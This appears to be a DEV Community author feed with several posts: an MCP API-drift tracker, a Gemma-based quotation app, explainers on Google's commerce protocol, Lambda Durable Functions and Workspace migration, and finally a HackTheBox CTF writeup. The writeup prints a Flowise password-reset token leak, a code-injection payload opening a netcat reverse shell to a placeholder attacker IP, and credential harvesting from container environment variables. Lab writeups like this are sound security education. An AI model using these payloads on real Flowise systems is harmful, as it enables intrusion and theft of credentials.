DEV Community: Lewis Sawe

I taught Hermes Agent to predict which API changes will break my system

Lewis Sawe — Sun, 31 May 2026 17:30:59 +0000

This is a submission for the Hermes Agent Challenge: Build With Hermes Agent

What I Built

Drift Detective is an MCP server that turns Hermes Agent into an API contract mutation tracker. It probes your microservices on a cron schedule, stores response shapes (fields, types, nesting depth), and classifies changes when they happen: additive, breaking, or cosmetic.

The interesting part: it learns. After you mark a few changes as "safe" or "breaking," it starts predicting. Week one it's noisy. Week three it knows that your payments service adding nullable fields is always fine, but your auth service changing any field name will break downstream consumers.

Demo

The demo runs against a local API server with four mutation stages:

Stage 1 (baseline): Agent records the shape of /api/users, /api/payments, /api/health.

Stage 2 (additive change): New fields appear. Agent flags them as low-urgency additive drift. I mark them "safe."

Stage 3 (breaking change): Fields get renamed and removed. Agent flags these as high-urgency breaking drift. I mark them "breaking."

Stage 4 (prediction fires): More fields get removed. This time the agent predicts "likely breaking" before I say anything. It recognized the removal pattern from my stage 3 feedback.

After a few interactions the alert quality is visibly different from probe 1. That's the whole point.

Code

lewisawe / drift-detective

Drift Detective

API contract mutation tracker that learns what breaks things.

Drift Detective probes your APIs on a schedule, stores response shapes, detects structural changes, and classifies them. It learns YOUR system's patterns from your feedback. Alerts get smarter, not noisier.

What It Does

Probes API endpoints, extracts JSON response shape (field names, types, nesting)
Detects shape changes between probes
Classifies changes: additive (new field) or breaking (removed/renamed/type-changed)
Learns from your feedback. Mark changes as "safe" or "breaking" and it remembers.
Predicts future changes using accumulated knowledge

Hermes Features Used

Feature	How
MCP Server	Custom stdio server providing probe/classify/learn tools
Cron Scheduler	Periodic endpoint probing, no manual intervention
Persistent Memory	Endpoints, shapes, and learned patterns survive across sessions
Learning Loop / Skills	Writes skill docs about your system's change patterns
AGENTS.md Context	Defines alert behavior and classification rules

Demo Walkthrough

1. Start the demo API

python demo/api_server.py

Local API with…

View on GitHub

My Tech Stack

Drift Detective's stack:

Python 3.11+ (runtime)
MCP SDK (mcp>=1.0.0) for the stdio server protocol
httpx for probing API endpoints
SQLite for persistence (shapes, history, learned patterns)
Hermes Agent as the orchestrator (MCP client, cron, memory)
Demo API: stdlib http.server (no dependencies)

How I Used Hermes Agent

This isn't a wrapper that calls the LLM once. Five Hermes capabilities do actual work here:

MCP Server (custom stdio): The core engine. Five tools: probe_endpoint, list_endpoints, get_drift_history, record_verdict, get_learned_patterns. All state lives in SQLite. The agent reasons about when and how to call them.

Cron Scheduler: Fires every 30 minutes (configurable). The agent probes all registered endpoints, compares shapes, and delivers a report to Telegram/Discord/wherever you talk to it. No human in the loop for routine checks.

Persistent Memory: Endpoint registry, shape history, and learned patterns survive across sessions. The agent picks up where it left off even after a restart.

Learning Loop / Skills: When the agent accumulates enough feedback, it writes a skill document describing your system's change patterns. That skill loads into future sessions, giving the agent prior context before it even runs a probe.

AGENTS.md Context: Defines classification rules, alert urgency levels, and when to include predictions vs. ask for feedback. Shapes the agent's behavior without touching code.

How It Works (Technical)

The MCP server extracts a structural "shape" from any JSON response:

{"users": [{"id": 1, "name": "Alice"}], "total": 1}

Becomes:

$.total         → integer
$.users[]       → array
$.users[].id    → integer  
$.users[].name  → string

When a shape changes, the diff engine classifies each field-level change:

New field added → additive
Field removed or renamed → breaking
Type changed (string→integer) → breaking

The learning system stores verdicts keyed by endpoint + change category. After one verdict for a pattern, predictions fire on the next similar change. It generalizes: if "removed field: name" was breaking, then "removed field: email" on the same endpoint gets the same prediction. The patterns are simple and domain-specific, so one data point is enough to be useful.

What I'd Build Next

Webhook mode: listen for deploy events from CI/CD, probe immediately after deploys
Consumer registry: know which downstream services depend on which fields, route alerts accordingly
Schema diffing beyond JSON: gRPC protobuf changes, GraphQL schema introspection
Multi-endpoint correlation: "every time auth-service changes, payments-service breaks 2 hours later"

Source Code

GitHub link

drift-detective/
├── mcp_server/server.py          # MCP server with probe/classify/learn tools
├── demo/api_server.py            # Mutable demo API
├── skills/drift-detective-patterns.md
├── AGENTS.md
└── pyproject.toml

Install: pip install -e ., add the MCP config to ~/.hermes/config.yaml, done.

I Built a Quotation Generator for Kenyan Street Welders Using Gemma 4's Vision

Lewis Sawe — Sun, 24 May 2026 23:11:19 +0000

This is a submission for the Gemma 4 Challenge: Build with Gemma 4

What I Built

A customer walks up to a welder in Nairobi with a Pinterest screenshot. "I want this gate. How much?"

The welder squints at the phone. Does mental math. Guesses a number. Scribbles it on a scrap of cardboard. No material breakdown. No line items. The customer walks away and finds someone who looks more professional.

This happens thousands of times a day across Kenya's jua kali sector. "Jua kali" translates to "hot sun." It's what we call the 15 million informal artisans who build gates, furniture, window frames, and cabinets outdoors. They're skilled fabricators who lose work because they can't produce a quote on the spot.

Jua Kali Quote fixes this. Photograph whatever the customer shows you: a sketch on paper, a screenshot from Instagram, a photo of their neighbor's gate. Gemma 4 looks at the image, figures out what needs to be built, and generates a full quotation with materials, quantities, and pricing in Kenyan Shillings.

The fundi taps any line item to adjust a price they know better. The totals recalculate live. They hit "Share on WhatsApp," and the customer has a professional quote in their chat. The whole interaction takes under a minute.

Every quote is saved locally, so the fundi builds a history of past jobs they can reference for repeat customers or similar work.

A confidence indicator tells them upfront: "materials ±15%, labor ±20%." Honest about what's an estimate and what's exact.

It handles welding, carpentry, masonry, plumbing, electrical, and painting jobs.

Demo

Code

lewisawe / jua-kali

Jua Kali Quote

AI-powered quotation generator for Kenyan artisans (fundis). Upload a photo of a sketch, Pinterest screenshot, or reference image and get a professional quotation with materials, labor, and pricing in KES.

Built with Gemma 4 26B A4B (MoE) via Google AI Studio.

Setup

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Copy .env.example to .env and add your Google AI Studio API key:

cp .env.example .env

Get a free API key at https://aistudio.google.com/apikey

Run

source venv/bin/activate
uvicorn main:app --host 0.0.0.0 --port 8000

Open http://localhost:8000

How it works

Upload a photo (sketch, Pinterest screenshot, catalog image, existing item)
Select the trade (welding, carpentry, masonry, etc.)
Gemma 4 analyzes the image and generates a structured quotation
Edit any line item price if needed
Share via WhatsApp or print as PDF

Stack

Python + FastAPI
Gemma 4 26B A4B IT (Google AI Studio API)
Vanilla HTML/CSS/JS (mobile-first)
localStorage for…

View on GitHub

How I Used Gemma 4

I went with Gemma 4 26B A4B, the Mixture-of-Experts variant. Three reasons.

Vision that understands intent, not just pixels. The model doesn't just see "a rectangle with vertical lines." It recognizes that's a gate design with panels, estimates it at roughly 12 feet wide, and knows that means four hinges, not two. It reads hand-drawn sketches and blurry phone screenshots equally well.

Reasoning that produces consistent numbers. This isn't image captioning. The model estimates material quantities, looks up realistic Kenyan prices (square tubes at KES 3,500, electrodes at KES 1,500, fundi day rate at KES 1,200), then adds everything up correctly. The grand total actually matches the sum of its parts.

MoE efficiency for real-world speed. 26B total parameters, but only 3.8B active per token. A fundi standing in front of a customer doesn't want to wait 30 seconds. The MoE architecture gives near-31B quality while keeping response times practical on a mobile connection.

The technical setup is minimal:

Photo upload → FastAPI backend → Gemma 4 (Google AI Studio API)
→ Structured JSON response → Rendered quotation → PDF or WhatsApp

The system prompt tells Gemma 4 to act as a Kenyan construction estimator with current market prices. No RAG, no database of prices, no fine-tuning. The base model already knows enough about Kenyan hardware stores to produce quotations that a real fundi would look at and say "yeah, that's about right."

How Does an AI Agent Actually Buy Something? Google Just Published the Spec.

Lewis Sawe — Sun, 24 May 2026 19:22:09 +0000

This is a submission for the Google I/O Writing Challenge

Google I/O 2026 said the word "agent" more than any other noun across both keynotes. Agents that code. Agents that research. Agents that plan your day. The dev community wrote about Antigravity, Gemini Spark, managed agents, agentic search.

But here's what nobody asked: how does an AI agent actually buy something?

Not "recommend a product." Not "show a link." Actually complete a purchase. Add to cart, select shipping, pay, confirm. On behalf of a human, talking to a merchant's backend, without ever loading a webpage.

Google shipped the answer at I/O. It's called the Universal Commerce Protocol. Almost nobody in the developer community noticed.

The problem UCP solves

Today, when you ask an AI assistant to buy you running shoes, it shows you a link. You click it. You land on a website. You add to cart, enter your address, fumble with Google Pay, and check out yourself. The "agent" was just a search engine with better grammar.

That's not agentic commerce. That's a recommendation engine.

Real agentic commerce means the agent talks directly to the merchant's system, builds a cart, applies shipping, and completes the transaction. No browser. No webpage. No human clicking through a checkout flow.

The blocker was always: there's no standard way for an AI agent to interact with a store programmatically. Every store has a different checkout API (if they have one at all). Most stores don't have one. They have HTML forms.

UCP fixes this. It's a REST API specification that turns any online store into a service an AI agent can call.

What UCP actually is

Universal Commerce Protocol is an open standard, open-source on GitHub, co-designed by Google and Shopify. It defines how AI agents discover products, build carts, handle shipping, and complete checkout.

It's already live. If you use AI Mode in Google Search (which crossed 1 billion monthly users at I/O), you've seen UCP-powered "Buy on Google" buttons. Those aren't just links. They're agent-initiated checkout sessions running over this protocol.

The three-sentence version: A merchant implements three REST endpoints. Google's agent (or any agent) calls them to create, update, and complete checkout sessions. The merchant stays in control of pricing, inventory, and fulfillment. The agent never touches payment credentials.

The checkout flow, step by step

Here's how a purchase works when Gemini Spark (Google's personal agent) buys shoes for you:

1. Agent builds the session.
The agent calls POST /checkout-sessions with the product IDs and a partial shipping address (city, state, zip). The merchant responds with prices, tax estimates, and shipping options.

{
  "line_items": [
    { "item": { "id": "product_12345" }, "quantity": 1 }
  ],
  "fulfillment": {
    "methods": [{
      "type": "shipping",
      "destinations": [{
        "address_locality": "Sunnyvale",
        "address_region": "CA",
        "postal_code": "94089",
        "address_country": "US"
      }]
    }]
  }
}

2. User reviews in a Google UI.
The agent hands control to a Google-rendered checkout page. The user sees the items, total, and shipping options. They select a payment method (Google Pay). The agent is not involved in this step. It never sees the credit card.

3. Google completes the session.
Once the user taps "Pay with GPay," Google calls POST /checkout-sessions/{id}/complete with the tokenized payment credential. The merchant processes the charge and returns an order confirmation.

That's it. Three endpoints: create, update, complete. A merchant who already has a checkout backend can implement this in a few days.

Why this matters more than another model announcement

Every I/O post I read this week talks about agents in the abstract. "Agents will change everything." "The agentic era is here." Cool. But an agent that can research and plan yet can't transact is just a chatbot with a longer context window.

Commerce is where agents become economically real. The moment an agent can spend money on your behalf (with your permission, within your budget), the business model for AI shifts from "subscription to a chat interface" to "commission on transactions completed." That's a different industry.

UCP is the plumbing that makes that shift possible. And the design choices are interesting:

The agent never handles payment. This is deliberate. The moment you hand sensitive data to an autonomous agent, you inherit liability nightmares. UCP sidesteps this by routing payment through a Google-controlled UI. The agent builds the cart. Humans authorize the money.

The merchant stays Merchant of Record. Google doesn't intermediate the transaction the way Amazon does. The merchant keeps their customer data, their relationship, their fulfillment. UCP is a protocol, not a marketplace.

It's compatible with MCP, A2A, and AP2. You can expose your checkout endpoints as MCP tools, use A2A for agent-to-agent negotiation, or plug into the Agent Payments Protocol. UCP doesn't lock you into Google's ecosystem. It defines the commerce primitives. The transport layer is your choice.

What this means if you build e-commerce

If you run a Shopify store, this is coming to you automatically. Shopify co-designed the protocol.

If you run a custom e-commerce backend, here's the integration surface:

POST /checkout-sessions (create a session from line items)
PUT /checkout-sessions/{id} (update shipping, recalculate tax)
POST /checkout-sessions/{id}/complete (process payment, return order)
POST /checkout-sessions/{id}/cancel (cancel)

Google provides Python and JavaScript SDKs, plus a conformance test suite to validate your implementation. The SLO expectations are reasonable: 95% availability, p50 latency under 1 second for session creation.

The payoff: your products become purchasable directly inside Google Search AI Mode, the Gemini app, and (soon) anywhere an agent speaks UCP. No affiliate links. No "visit our website." Direct checkout inside the AI conversation.

The part nobody is talking about

UCP is expanding to lodging and food. Google has waitlists open for both verticals. That means hotel booking and restaurant ordering get the same treatment: an agent calls your API, the user confirms in a Google UI, the transaction completes without a website visit.

Think about what this does to SEO-driven e-commerce. If an agent can buy directly from a merchant's API during a Search conversation, the website becomes optional for the transaction. Discovery still happens (through product feeds in Merchant Center), but the conversion doesn't require a click-through anymore.

That's a structural change to online commerce. Not "AI will change shopping someday." It's live, it has SDKs, and merchants are integrating right now.

The skeptic's questions

"Is this just Google capturing more of the transaction?"
They'd argue no, because the merchant stays Merchant of Record. But Google does control the surface (Search, Gemini) and the payment layer (Google Pay). Draw your own conclusions on where the power concentrates over time.

"Will other platforms adopt UCP?"
It's open-source and Shopify co-designed it. That's meaningful. Whether Amazon, Meta, or Apple adopt it or build their own competing protocol is the billion-dollar question. Interoperability with MCP and A2A suggests Google wants this to be a lingua franca, not a walled garden. Time will tell.

"Do consumers actually want agents buying things for them?"
Probably not yet for expensive purchases. But for replenishment (toothpaste, dog food, contacts), routine bookings (same hotel, same rental car), and low-stakes impulse buys? The friction reduction is real. Google's Gemini Spark starts with a "check with you before taking major actions" guardrail for a reason.

Try it yourself

Read the UCP documentation
Browse the open-source spec on GitHub
Grab the Python SDK or JS SDK
Run the conformance tests against your endpoints
Join the waitlist if you're a merchant

The protocol that lets AI agents spend money exists, is open, and is already processing transactions in Google Search. That's not a keynote prediction. It's infrastructure you can build on today.

Lambda Durable Functions, When You Don't Need Step Functions

Lewis Sawe — Wed, 13 May 2026 11:51:48 +0000

At re:Invent 2025, AWS added a new primitive to Lambda called durable execution. Your function can now checkpoint its progress, survive failures without restarting from scratch, and suspend for up to a year without paying for compute time.

If you've used Azure Durable Functions or Temporal, the concept is familiar. If you haven't, the short version is that your Lambda function can pause mid-execution, wait for something external (a human approval, a webhook, a scheduled delay), and resume exactly where it left off. No DynamoDB state table. No Step Functions state machine. Just code.

This post covers what it is, how it works, when to use it instead of Step Functions, and what it actually looks like to build with.

The Problem It Solves

Standard Lambda functions run from start to finish in a single invocation. Maximum 15 minutes. If something fails at step 7 of 10, you retry the whole thing. If you need to wait for a human to click "approve," you need to save state somewhere, set up an API Gateway endpoint to receive the callback, wire up the resume logic, and handle the case where your function code changed between the pause and the resume.

Most teams solve this with Step Functions, which works well but means defining your workflow in Amazon States Language (a JSON DSL) or the CDK Step Functions constructs. Your business logic lives in Lambda, your orchestration logic lives in Step Functions, and you context-switch between two mental models.

Lambda Durable Functions puts both in the same file.

How It Works

You enable durable execution when you create the function (a DurableConfig block in your SAM template or CDK construct). Then you use the durable execution SDK in your handler code.

The SDK gives you a few primitives.

context.step() runs a block of code and checkpoints the result. If the function fails later and replays, this step is skipped and its cached result is returned.
context.wait() suspends execution for a duration (minutes, hours, days). No compute charges during the wait.
context.waitForCallback() suspends until an external system calls back with a success or failure. Up to one year.
context.waitForCondition() polls a condition on a schedule until it returns true.
context.parallel() runs multiple durable operations concurrently.
context.invoke() calls another Lambda function and checkpoints the result.

Under the hood, Lambda uses a checkpoint/replay mechanism. When your function resumes (after a wait, a failure, or a deployment), Lambda invokes your handler from the top. The SDK replays through completed steps instantly (returning cached results) and picks up execution at the point where it left off.

What It Looks Like

A user onboarding flow that creates a profile, waits up to 24 hours for email verification, then sends a welcome email.

import { DurableContext, withDurableExecution } from '@aws/durable-execution-sdk-js';

export const handler = withDurableExecution(
  async (event, context: DurableContext) => {
    const profile = await context.step("create-profile", async () =>
      createUserProfile(event.email, event.name)
    );

    const verification = await context.waitForCallback(
      "wait-for-email-verification",
      async (callbackId) => {
        await sendVerificationEmail(profile, callbackId);
      },
      { timeout: { hours: 24 } }
    );

    const result = await context.step("complete-onboarding", async () => {
      if (!verification || !verification.verified) {
        return { ...profile, status: 'failed' };
      }
      await sendWelcomeEmail(profile.email, profile.name);
      return { ...profile, status: 'active' };
    });

    return result;
  }
);

If createUserProfile succeeds but the verification email fails to send, the function retries from the waitForCallback step. The profile creation is skipped (already checkpointed). If the user clicks verify 6 hours later, the function resumes at the complete-onboarding step. During those 6 hours, you pay nothing.

The SAM template looks like this.

Resources:
  UserOnboardingFunction:
    Type: AWS::Serverless::Function
    Properties:
      FunctionName: UserOnboardingFunction
      CodeUri: ./src
      Handler: index.handler
      Runtime: nodejs24.x
      Timeout: 60
      DurableConfig:
        ExecutionTimeout: 90000  # 25 hours
        RetentionPeriodInDays: 7

Timeout is still the per-invocation limit (max 15 minutes). ExecutionTimeout is how long the entire durable execution can run, including waits. Up to one year.

When to Use This Instead of Step Functions

The AWS docs frame it as "application development in Lambda" vs. "workflow orchestration across AWS services." Here's my less diplomatic version.

Use Durable Functions when

Your team prefers standard programming languages and familiar development tools
Your workflow is mostly Lambda code calling other services via SDK
You want the orchestration logic in the same file as the business logic
You're comfortable with the checkpoint/replay model
You want to test locally with sam local invoke

Use Step Functions when

You're orchestrating many AWS services (SQS, SNS, DynamoDB, ECS) with native integrations
Non-engineers need to understand the workflow (the visual designer matters)
You want zero runtime maintenance (no SDK versions to update)
You need the 220+ direct service integrations without writing Lambda functions for each

Use both when

Step Functions coordinates the high-level flow across services
Durable Functions handles complex application logic within individual Lambda functions

The honest comparison is that Durable Functions is simpler for Lambda-heavy workflows. Step Functions is more powerful for cross-service orchestration. If your workflow is "Lambda calls Lambda calls Lambda with some waits in between," Durable Functions is less overhead. If your workflow is "receive SQS message, write to DynamoDB, start ECS task, wait for completion, send SNS notification," Step Functions has native integrations for all of that without writing Lambda handlers.

What You Pay For

Standard Lambda compute charges apply to all invocations, including replays. During waits, on-demand functions don't incur duration charges.

You also pay for durable operations (each step(), wait(), invoke() call), data written to checkpoints, and data retention (how long execution history is kept).

For workflows that spend most of their time waiting (approval flows, scheduled delays, polling), the cost model is favorable. You're not paying for an idle Step Functions execution either, but the per-operation pricing differs. For short, compute-heavy workflows with few waits, the replay overhead adds cost that Step Functions doesn't have.

Things to Know Before You Build

Determinism matters. Your handler runs from the top on every replay. Code between steps must be deterministic. Don't generate random IDs outside a step, don't read the current time outside a step, don't make API calls outside a step. Anything with side effects goes inside context.step().

Versioning is strict. Use function versions or aliases, not $LATEST. If your code changes between a pause and a resume, the replay might not match the original execution. Lambda replays with the version that started the execution.

15-minute invocation limit still applies. Each individual invocation (including replays) must complete within 15 minutes. The durable execution can span months, but each "wake up" is still a normal Lambda invocation. If your replay takes too long because you have hundreds of completed steps to skip through, that's a problem.

You can't add DurableConfig to an existing function. You need to create a new function with durable execution enabled from the start.

SDKs available for Node.js, Python, and Java. Java SDK went GA in April 2026. Python and Node.js have been available since launch.

Available in 16+ regions as of April 2026.

A Practical Example, Order Processing

Here's a more realistic example. An order comes in, you validate payment, reserve inventory, wait for the warehouse to confirm shipment (could take hours), then notify the customer.

from aws_durable_execution_sdk import durable_function, DurableContext

@durable_function
def handler(event, context: DurableContext):
    order = event

    # Validate payment
    payment = context.step("validate-payment", lambda: charge_card(order))

    if not payment["success"]:
        return {"status": "payment_failed", "order_id": order["id"]}

    # Reserve inventory
    reservation = context.step("reserve-inventory", lambda: reserve_items(order["items"]))

    # Wait for warehouse confirmation (poll every 5 minutes, timeout after 48 hours)
    shipment = context.wait_for_condition(
        "wait-for-shipment",
        check=lambda: check_shipment_status(reservation["id"]),
        interval={"minutes": 5},
        timeout={"hours": 48}
    )

    # Notify customer
    context.step("notify-customer", lambda: send_shipping_notification(
        order["email"], shipment["tracking_number"]
    ))

    return {"status": "shipped", "tracking": shipment["tracking_number"]}

If the warehouse takes 6 hours to ship, the function wakes up every 5 minutes, checks the status, and goes back to sleep. You pay for ~72 invocations of a few hundred milliseconds each, not 6 hours of compute.

Compare this to the Step Functions version. You'd need a state machine with a Wait state, a Choice state, a Lambda function for each step, and the wiring between them. It works, but it's more infrastructure for the same outcome.

Who This Is For

The pattern that makes durable functions worth it is any workflow where you have seconds of actual work separated by hours or days of waiting for something external. The more wait time relative to compute time, the better the cost model.

A few examples that aren't the usual "order processing" and "user onboarding" from the AWS docs.

Trial expiration flow. User signs up for a 14-day trial. The function suspends for 14 days, wakes up, checks if they converted to paid, sends the appropriate email (upgrade nudge or offboarding notice). One function, one execution, two weeks of zero cost. No cron job, no scheduler, no DynamoDB TTL workaround.

export const handler = withDurableExecution(
  async (event, context) => {
    const user = await context.step("create-trial", async () =>
      createTrialAccount(event.email, event.plan)
    );

    await context.wait("trial-period", { days: 14 });

    const converted = await context.step("check-conversion", async () =>
      hasUpgradedToPaid(user.id)
    );

    await context.step("send-email", async () => {
      if (converted) return sendRetentionEmail(user.email);
      return sendOffboardingEmail(user.email);
    });

    if (!converted) {
      await context.step("deactivate", async () => deactivateAccount(user.id));
    }

    return { userId: user.id, converted };
  }
);

Webhook delivery with backoff. First attempt fails. Wait 1 minute, retry. Wait 5 minutes, retry. Wait 30 minutes, retry. The waits cost nothing.

export const handler = withDurableExecution(
  async (event, context) => {
    const { url, payload, maxAttempts = 4 } = event;
    const delays = [0, 1, 5, 30]; // minutes

    for (let attempt = 0; attempt < maxAttempts; attempt++) {
      if (delays[attempt] > 0) {
        await context.wait(`backoff-${attempt}`, { minutes: delays[attempt] });
      }

      const result = await context.step(`deliver-${attempt}`, async () =>
        deliverWebhook(url, payload)
      );

      if (result.success) return { delivered: true, attempts: attempt + 1 };
    }

    await context.step("mark-failed", async () =>
      markWebhookFailed(event.webhookId)
    );

    return { delivered: false, attempts: maxAttempts };
  }
);

Infrastructure provisioning with approval gates. Terraform plan runs, posts to Slack, suspends until someone approves.

export const handler = withDurableExecution(
  async (event, context) => {
    const plan = await context.step("terraform-plan", async () =>
      runTerraformPlan(event.workspace)
    );

    if (plan.changes === 0) return { status: "no_changes" };

    const approval = await context.waitForCallback(
      "wait-for-approval",
      async (callbackId) => {
        await postToSlack(event.channel, {
          text: `Terraform wants to change ${plan.changes} resources in ${event.workspace}`,
          planUrl: plan.outputUrl,
          approveUrl: buildApproveUrl(callbackId),
          rejectUrl: buildRejectUrl(callbackId)
        });
      },
      { timeout: { hours: 24 } }
    );

    if (!approval || !approval.approved) {
      return { status: "rejected", by: approval?.user };
    }

    const apply = await context.step("terraform-apply", async () =>
      runTerraformApply(event.workspace)
    );

    return { status: "applied", resources: apply.changed };
  }
);

Incident response with human escalation. Auto-isolate, alert, wait for analyst confirmation.

export const handler = withDurableExecution(
  async (event, context) => {
    const finding = event.detail;

    const isolation = await context.step("isolate-instance", async () =>
      isolateEc2Instance(finding.instanceId)
    );

    const decision = await context.waitForCallback(
      "wait-for-analyst",
      async (callbackId) => {
        await createPagerDutyIncident({
          title: `Isolated ${finding.instanceId} - ${finding.type}`,
          details: finding,
          callbackId
        });
      },
      { timeout: { hours: 4 } }
    );

    if (!decision || decision.action === "terminate") {
      await context.step("terminate", async () =>
        terminateInstance(finding.instanceId)
      );
      return { outcome: "terminated" };
    }

    await context.step("restore", async () =>
      restoreInstance(finding.instanceId, isolation.previousSecurityGroups)
    );

    return { outcome: "restored" };
  }
);

Scheduled certificate rotation. Check, renew, wait for DNS validation, swap.

export const handler = withDurableExecution(
  async (event, context) => {
    const cert = await context.step("check-expiry", async () =>
      getCertificateDetails(event.certArn)
    );

    if (cert.daysUntilExpiry > 30) return { status: "not_due" };

    const renewal = await context.step("request-renewal", async () =>
      requestCertificate(cert.domain)
    );

    const validated = await context.waitForCondition(
      "wait-for-validation",
      async () => checkValidationStatus(renewal.arn) === "ISSUED",
      { interval: { minutes: 2 }, timeout: { minutes: 30 } }
    );

    if (!validated) return { status: "validation_failed" };

    await context.step("swap-cert", async () =>
      updateListenerCertificate(event.listenerArn, renewal.arn)
    );

    return { status: "rotated", newCertArn: renewal.arn };
  }
);

The common thread is that these workflows are too simple for Step Functions (5-7 steps, mostly Lambda code) but too stateful for a single Lambda invocation. That's the gap durable functions fill.

Getting Started

sam init  # Choose the durable functions quick start template
sam local invoke  # Test locally, including callbacks
sam deploy  # Ship it

The developer guide covers setup. The re:Invent breakout session is worth watching for the architecture deep dive.

Lambda Durable Functions | Documentation | Pricing

The NEXT '26 Announcement That Should Worry Microsoft Has Nothing to Do With Gemini

Lewis Sawe — Wed, 29 Apr 2026 15:46:22 +0000

This is a submission for the Google Cloud NEXT Writing Challenge

Most of the coverage from Google Cloud NEXT '26 focused on Gemini and the agentic AI push. Fair enough. But the announcement that caught my attention had nothing to do with AI models. Google launched a free, built-in migration tool that moves enterprises from Microsoft 365 to Google Workspace, and claimed it's up to five times faster than their previous migration tools.

That doesn't sound exciting until you think about what it actually means.

Microsoft's real advantage was never the product

Ask any IT leader why their company is still on Microsoft 365 and you'll rarely hear "because Word is better than Docs." The answer is almost always about switching costs. Years of SharePoint content, Teams workflows, and Exchange mailboxes wired into Active Directory and compliance systems. Moving off that stack is a six-to-twelve month project that nobody wants to own.

Microsoft knows this. Their moat has always been the pain of leaving, not Copilot or Excel. Google just went after the moat directly.

What Google actually shipped

The new tool is called Data Import. It lives inside the Workspace Admin Console, no third-party software needed. It handles email, calendar, and contact migration from Exchange Online using parallelized transfers and what Google calls "improved algorithms" for speed.

There's also a migration planning utility that estimates timelines and organizes users into speed-optimized batches. For an IT team evaluating the switch, that removes one of the first objections: "we don't even know how long this would take."

No extra GCP infrastructure costs. No licensing fees for migration tools. Google is absorbing the cost of switching entirely.

The gap nobody's mentioning

Here's what Data Import doesn't do yet: OneDrive, SharePoint, and Teams. Google says those are "coming soon."

That's a problem. Email migration is the easy part. The real lock-in for most enterprises is in shared drives and document libraries, not email. A company with 10,000 employees and years of SharePoint content isn't switching because email migration got faster. They're switching when someone solves the file and permissions migration, and that piece isn't ready.

So the "5x faster" headline is real, but it applies to the part of the migration that was already the least painful.

The $750M makes more sense now

Google also announced a $750 million partner fund at NEXT '26 for consulting firms and systems integrators. The fund is officially about accelerating agentic AI deployment, not migration specifically. But paired with the migration tool, the timing tells a story.

The people who decide which platform an enterprise adopts aren't usually the CTO. They're the Deloittes and Accentures who run the evaluation and implementation. Google is paying those firms to recommend and execute the switch. The migration tool handles the technical side, and the partner fund gets the right people in the room to say yes.

The question Google doesn't want you to ask

If Google makes it easy to move to Workspace, does that also make it easy to move away from Workspace later?

Data portability is a one-way pitch right now. Google built a tool to import from Microsoft, not a tool to export to Microsoft. Expected, but worth noticing. The easier Google makes it to arrive, the more you should ask what leaving looks like. Switching costs don't disappear when you change vendors. They just reset.

Why this matters

The AI feature race between Google and Microsoft is real, but it's converging. Gemini and Copilot will keep trading benchmarks. The actual competitive battle is happening at the infrastructure and distribution layer, where switching costs and partner incentives determine which platform enterprises land on.

Google figured out that winning the AI argument isn't enough if nobody can act on it. So they removed the friction and funded the people who make the recommendation. Whether the destination is worth it depends on how fast they ship the SharePoint and Teams migration. Until then, it's a strong pitch with an asterisk.

CTF Writeup Silentium - HTB

Lewis Sawe — Sun, 26 Apr 2026 11:20:31 +0000

This writeup details the complete attack chain for the Silentium machine, starting from a vulnerable Flowise AI instance to a privilege escalation using a recent Gogs vulnerability (CVE-2025-8110).

1. Enumeration & Discovery

Initial enumeration of the target IP revealed an Nginx web server redirecting to silentium.htb and an open SSH port.

nmap -sV -sC <TARGET_IP>

Adding the primary domain to /etc/hosts:

echo "<TARGET_IP> silentium.htb" | sudo tee -a /etc/hosts

VHost Fuzzing

Knowing we were dealing with a web application, we fuzzed for subdomains using gobuster and discovered a staging environment:

gobuster vhost -u http://silentium.htb -w /usr/share/wordlists/dirb/common.txt --append-domain

This revealed staging.silentium.htb. We added this to /etc/hosts and navigated to it, discovering an instance of Flowise AI (version 3.0.5).

2. Initial Access: Flowise AI Password Reset Vulnerability

The Flowise AI instance was vulnerable to an unauthenticated API logic flaw (CVE-2025-58434) that leaks password reset tokens directly in the API response.

Step 1: Leaking the Token

By sending a POST request to the "forgot password" endpoint with a valid username (ben@silentium.htb), the server responded with the user object, including the tempToken.

curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
     -H "Content-Type: application/json" \
     -d '{"user": {"email": "ben@silentium.htb"}}'

Step 2: Overcoming the 500 Internal Server Error

Initially, attempting to use the token to reset the password returned a 500 Internal Server Error complaining about a database transaction. Analyzing the behavior revealed two things:

Token Expiration: The token had a very short lifespan (tokenExpiry).
Payload Structure: The server expected a flattened payload rather than a nested "user" object.

By immediately generating a fresh token and using a corrected JSON payload, the password was successfully reset.

curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
     -H "Content-Type: application/json" \
     -d '{
       "tempToken": "<FRESH_LEAKED_TOKEN>",
       "password": "<NEW_PASSWORD>",
       "confirmPassword": "<NEW_PASSWORD>"
     }'

With the credentials (<EMAIL> / <PASSWORD>), we logged into the Flowise dashboard.

3. Remote Code Execution (RCE) via Flowise (Model Context Protocol)

Once authenticated as an admin in Flowise, we explored the integration of the Model Context Protocol (MCP), a standard that allows LLMs to interact with external tools and data sources. In Flowise 3.0.5, the /api/v1/node-load-method/customMCP endpoint was found to be vulnerable to Insecure Code Evaluation.

The vulnerability lies in how Flowise handles the mcpServerConfig parameter. When a user configures a "Custom MCP" node, the server takes the provided configuration string and evaluates it within the Node.js environment to initialize the connection. Because this evaluation is performed without proper sandboxing, an attacker can inject arbitrary JavaScript code.

The Attack Path:

Authentication: We secured our access using either the session JWT Bearer Token or the persistent API Key found in the dashboard settings.
Payload Crafting: We crafted a JSON payload that targeted the customMCP load method. The payload used an Immediately Invoked Function Expression (IIFE) within the mcpServerConfig string to require the child_process module and execute a reverse shell command.

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f');return 1;})()} )"
  }
}

Execution: We saved the payload to a file named payload.json and sent it to the endpoint using curl, authorizing the request with our retrieved API key:

curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
     -H "Authorization: Bearer <YOUR_API_KEY>" \
     -H "Content-Type: application/json" \
     -d @payload.json

Upon sending the request, the Node.js backend evaluated the mcpServerConfig string, immediately executing our reverse shell.

The shell landed us inside the Flowise Docker container as the node user.

4. Pivoting to the Host

Being inside a Docker container meant we needed to find a way to the host machine.

Enumerating the container's environment variables (env) revealed sensitive credentials, including the password for the local user ben: <USER_PASSWORD>.

Since the host had SSH exposed, we used these credentials to log in as ben on the main host.

ssh ben@silentium.htb

